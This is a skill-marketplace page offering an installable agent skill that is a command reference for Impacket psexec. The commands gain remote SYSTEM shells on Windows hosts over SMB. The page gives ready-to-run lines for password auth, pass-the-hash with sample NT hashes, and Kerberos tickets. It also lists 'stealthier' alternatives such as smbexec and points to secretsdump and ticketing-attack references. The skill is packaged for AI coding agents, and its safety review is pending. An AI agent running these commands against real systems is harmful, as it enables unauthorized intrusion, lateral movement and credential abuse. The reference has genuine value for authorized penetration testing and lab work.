# Psexec

> Auth/lab ref: Impacket psexec for remote SYSTEM-level shell execution on Windows hosts via SMB.

- Skill: `aeondave/psexec` (Agent Skill)
- Install (CLI): `npx skillmds@latest add aeondave/psexec`
- Raw SKILL.md: https://api.skillmd.com/api/skills/aeondave/psexec/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: Apache-2.0
- Author: AeonDave (https://skillmd.com/u/aeondave)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/aeondave/psexec

---


# psexec (impacket)

Remote SYSTEM shell via SMB — part of the impacket suite. Creates a service, uploads a remote shell binary to ADMIN$, and executes it.

## Quick Start

```bash
# Password auth
impacket-psexec domain/user:password@192.168.1.10

# Pass-the-hash
impacket-psexec administrator@192.168.1.10 -hashes :8846f7eaee8fb117ad06bdd830b7586c

# Local account
impacket-psexec WORKGROUP/administrator:password@192.168.1.10
```

## Core Flags

| Flag | Description |
|------|-------------|
| `domain/user:pass@target` | Standard auth string |
| `-hashes <LM:NT>` | Pass-the-hash (use `:NT` for NT only) |
| `-no-pass` | No password (for null sessions) |
| `-k` | Kerberos auth |
| `-dc-ip <ip>` | Domain controller IP |
| `-port <n>` | Custom SMB port |
| `-service-name <n>` | Custom service name (default random) |
| `-remote-binary-name <n>` | Custom remote binary name |
| `-shell-type <type>` | Shell type: `cmd` or `powershell` |
| `-codec <enc>` | Output encoding (default auto-detect) |

## Impacket Execution Alternatives

| Tool | Method | Notes |
|------|--------|-------|
| `psexec.py` | Service + ADMIN$ binary | SYSTEM shell; noisy (creates service) |
| `smbexec.py` | Service + cmd.exe | No binary drop; semi-interactive |
| `wmiexec.py` | WMI + cmd.exe | Semi-interactive; no service created |
| `atexec.py` | Task Scheduler | Single command; no interactive shell |
| `dcomexec.py` | DCOM | Multiple DCOM object options |

## Common Workflows

```bash
# Get SYSTEM shell with credentials
impacket-psexec corp.local/admin:Password123@10.10.10.10

# Pass-the-hash (no LM needed for modern Windows)
impacket-psexec -hashes :f6f38b793db6a78dc379eee9e56b8c91 administrator@10.10.10.10

# PowerShell shell
impacket-psexec admin:pass@10.10.10.10 -shell-type powershell

# Execute single command (use wmiexec for non-interactive)
impacket-wmiexec admin:pass@10.10.10.10 "net user"

# Stealthier: smbexec (no binary to disk)
impacket-smbexec admin:pass@10.10.10.10

# Kerberos auth (with CCACHE)
export KRB5CCNAME=/tmp/admin.ccache
impacket-psexec -k -no-pass corp.local/admin@dc.corp.local
```

## Resources

| File | When to load |
|------|--------------|
| `references/impacket-suite.md` | Full impacket tool reference, secretsdump, GetUserSPNs, ticketing attacks |

## Structuring This Skill